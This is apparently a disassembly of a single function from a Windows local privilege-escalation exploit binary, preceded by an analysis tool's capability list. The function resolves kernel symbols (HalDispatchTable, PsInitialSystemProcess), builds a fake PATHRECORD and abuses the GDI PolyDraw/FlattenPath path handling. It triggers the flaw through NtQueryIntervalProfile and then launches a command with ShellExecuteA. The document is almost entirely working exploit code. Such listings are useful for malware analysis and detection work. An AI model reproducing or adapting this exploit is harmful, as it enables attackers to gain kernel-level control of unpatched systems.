Function at 0x401210
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Create process on windows
Create thread
Execute shellcode via indirect call
Link many functions at runtime
Resolve ntoskrnl gadgets
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x15c
push ebx
push ebp
push esi
xor ebp, ebp
push edi
mov dword [esp + 0x14], ebp
call fcn.004011b0
mov ebx, eax
and eax, 0xfffff000
push str.ntdll.dll
mov dword [esp + 0x24], 0x1000
mov dword [esp + 0x14], eax
mov dword [esp + 0x20], ebp
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
call fcn.00401120
cmp dword [esp + 0x170], 2
jge 0x40126b
call fcn.00401160
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x15c
ret
cmp ebx, ebp
jne 0x40128c
push str.unsupported_system_version_n
push 3
call fcn.00401840
add esp, 8
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x15c
ret
call fcn.00401820
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NtQueryIntervalProfile
push esi
call edi
push str.NtAllocateVirtualMemory
push esi
mov dword [0x440048], eax
call edi
push str.NtQuerySystemInformation
push esi
mov dword [0x440044], eax
call edi
push str.NtFreeVirtualMemory
push esi
mov dword [0x438018], eax
call edi
mov ecx, dword [0x440048]
mov dword [0x437fe0], eax
cmp ecx, ebp
je 0x4017f0
cmp dword [0x440044], ebp
je 0x4017f0
cmp dword [0x438018], ebp
je 0x4017f0
cmp eax, ebp
je 0x4017f0
mov esi, dword [sym.imp.KERNEL32.dll_VirtualQuery]
push 0x40
lea ecx, [esp + 0x24]
push 0x3000
push ecx
lea edx, [esp + 0x1c]
push ebp
push edx
push 0xffffffffffffffff
call dword [0x440044]
cmp eax, ebp
jge 0x4013aa
push eax
push str.allocate_memory_error_code_0x_08x
push 3
call fcn.00401840
push str.try_to_free_memory
push 1
call fcn.00401840
mov ecx, dword [esp + 0x24]
add esp, 0x14
lea eax, [esp + 0x30]
push 0x1c
push eax
push ecx
call esi
test eax, eax
je 0x401368
mov edx, dword [esp + 0x44]
mov eax, dword [esp + 0x40]
push edx
push eax
push str.meminfo_state__d__d_n
push 1
call fcn.00401840
add esp, 0x10
lea ecx, [esp + 0x20]
push 0x8000
lea edx, [esp + 0x14]
push ecx
push edx
push 0xffffffffffffffff
call dword [0x437fe0]
cmp eax, ebp
jge 0x4012ff
push eax
push str.free_memory_error_code_0x_08x
push 3
call fcn.00401840
add esp, 0xc
call fcn.00401830
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x15c
ret
push ebp
lea eax, [esp + 0x50]
push 0x120
push eax
push 0xb
call dword [0x438018]
cmp eax, 0xc0000004
je 0x4013e7
push eax
push str.NtQuerySystemInformation_error_code:0x_08x_n
push 3
call fcn.00401840
add esp, 0xc
call fcn.00401830
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x15c
ret
mov ecx, dword [esp + 0x6a]
mov edi, dword [esp + 0x58]
and ecx, 0xffff
lea edx, [esp + ecx + 0x6c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
test ebp, ebp
mov dword [esp + 0x18], ebp
jne 0x401433
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.LoadLibraryA_error_code:0x_08x_n
push 3
call fcn.00401840
add esp, 0xc
call fcn.00401830
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x15c
ret
mov esi, edi
push str.HalDispatchTable
push ebp
sub esi, ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [eax + esi + 4]
push str.PsInitialSystemProcess
push ebp
mov dword [0x438024], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
add eax, esi
push str.PsReferencePrimaryToken
push ebp
mov dword [0x407fd0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
add eax, esi
push str.PsGetThreadProcess
push ebp
mov dword [0x43802c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
add eax, esi
push edi
mov dword [0x438020], eax
call fcn.00401180
add esp, 4
test eax, eax
jne 0x4014ae
push str.Can_not_Find_A_Fix_Address_n
push 3
call fcn.00401840
add esp, 8
mov dword [esp + 0x14], 0xffffffff
jmp 0x4017c6
push 0x40
push 0x3000
xor ebp, ebp
push 0x30
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push eax
push str.Alllocated_userspace_PATHRECORD_____p
push 1
mov dword [0x407fcc], eax
call fcn.00401840
mov edi, dword [0x407fcc]
mov ecx, 0xc
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x407fcc]
mov dword [eax], eax
mov ecx, dword [0x407fcc]
mov dword [ecx + 4], 0x42424242
mov edx, dword [0x407fcc]
mov dword [edx + 8], ebp
mov eax, dword [0x407fcc]
mov ecx, dword [eax]
push ecx
push str.____next_____p
push 1
call fcn.00401840
mov edx, dword [0x407fcc]
mov eax, dword [edx + 4]
push eax
push str.____prev_____p
push 1
call fcn.00401840
mov ecx, dword [0x407fcc]
mov edx, dword [ecx + 8]
push edx
push str.____flags____u
push 1
call fcn.00401840
mov dword [0x43801c], ebx
mov dword [ebx], ebp
mov eax, dword [0x43801c]
mov dword [eax], ebp
mov ecx, dword [0x43801c]
mov dword [ecx + 8], 1
mov edx, dword [0x43801c]
mov dword [edx + 0xc], ebp
mov ecx, dword [0x407fcc]
mov eax, dword [0x438024]
mov dword [0x407de8], ebx
shr ecx, 4
push ecx
push str.Creating_complex_bezier_path_with__x
push 1
mov dword [0x407dec], eax
mov dword [0x407df0], 0x11
mov dword [0x407df4], 4
call fcn.00401840
mov esi, dword [0x407fcc]
mov ecx, 0x1800
mov eax, 0x4040404
mov edi, 0x440060
add esp, 0x3c
mov edx, 0x407fe4
shr esi, 4
rep stosd dword es:[edi], eax
mov dword [edx - 4], esi
mov dword [edx], esi
add edx, 8
cmp edx, 0x437fe4
jl 0x4015c2
push ebp
push 0x10000000
push ebp
push ebp
push ebp
push str.DontPanic
call dword [sym.imp.USER32.dll_CreateDesktopA]
cmp eax, ebp
mov dword [esp + 0x28], eax
je 0x4015f5
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
mov ebp, dword [sym.imp.GDI32.dll_FlattenPath]
xor ebx, ebx
push ebx
push 1
push ebx
mov dword [esp + 0x38], ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
cmp eax, ebx
mov dword [0x438028], eax
je 0x4017a4
push ebx
call dword [sym.imp.USER32.dll_GetDC]
push ebx
push ebx
push ebx
push 0x401070
push ebx
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push str.start_CreateRoundRectRgn
push 1
mov dword [esp + 0x2c], eax
call fcn.00401840
add esp, 8
mov edi, 0x4000000
push 1
push 1
push edi
push 1
push ebx
push ebx
call dword [sym.imp.GDI32.dll_CreateRoundRectRgn]
cmp eax, ebx
je 0x401682
mov ecx, dword [0x407de0]
cmp ecx, 0x2000
jae 0x40167a
mov dword [ecx*4 + 0x438040], eax
inc ecx
mov dword [0x407de0], ecx
jmp 0x401649
mov dword [0x407de0], ebx
jmp 0x401649
shr edi, 1
jne 0x401649
mov edx, dword [0x407de0]
push edx
push str.Allocated__u_HRGN_objects
push 1
call fcn.00401840
push str.Flattening_curves...
push 1
call fcn.00401840
mov eax, section..text
add esp, 0x14
mov edi, 0x6000
mov ebx, dword [eax]
push esi
call dword [sym.imp.GDI32.dll_BeginPath]
push edi
push 0x440060
push 0x407fe0
push esi
call dword [sym.imp.GDI32.dll_PolyDraw]
push esi
call dword [sym.imp.GDI32.dll_EndPath]
push esi
call ebp
push esi
call ebp
push section..text
push 2
call dword [0x440048]
mov ecx, section..text
cmp dword [ecx], 0xc0000018
je 0x401736
mov edx, section..text
push esi
mov dword [edx], ebx
call dword [sym.imp.GDI32.dll_EndPath]
sub edi, 3
jne 0x4016b4
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x401766
push str.Exploit_ok_run_command
push 1
call fcn.00401840
mov eax, dword [esp + 0x178]
add esp, 8
cmp eax, 2
jle 0x401740
mov eax, dword [esp + 0x174]
mov eax, dword [eax + 8]
jmp 0x401742
mov dword [esp + 0x1c], 1
jmp 0x40170f
xor eax, eax
mov ecx, dword [esp + 0x174]
push 5
push 0
push eax
mov edx, dword [ecx + 4]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edi, 1
jmp 0x401779
push str.No_luck__cleaning_up._and_try_again..
push 1
call fcn.00401840
mov edi, dword [esp + 0x34]
add esp, 8
mov eax, dword [0x438028]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
mov ecx, dword [esp + 0x24]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test edi, edi
jne 0x4017c2
jmp 0x4015fb
mov edx, dword [0x407de0]
push edx
push str.Allocated__u_HRGN_objects
push 1
call fcn.00401840
add esp, 0xc
mov dword [esp + 0x14], 0xffffffff
mov ebp, dword [esp + 0x18]
call fcn.00401830
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esp + 0x28]
test eax, eax
je 0x4017e1
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x15c
ret
push str.get_function_address_error_n
push 3
call fcn.00401840
add esp, 8
call fcn.00401830
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x15c
ret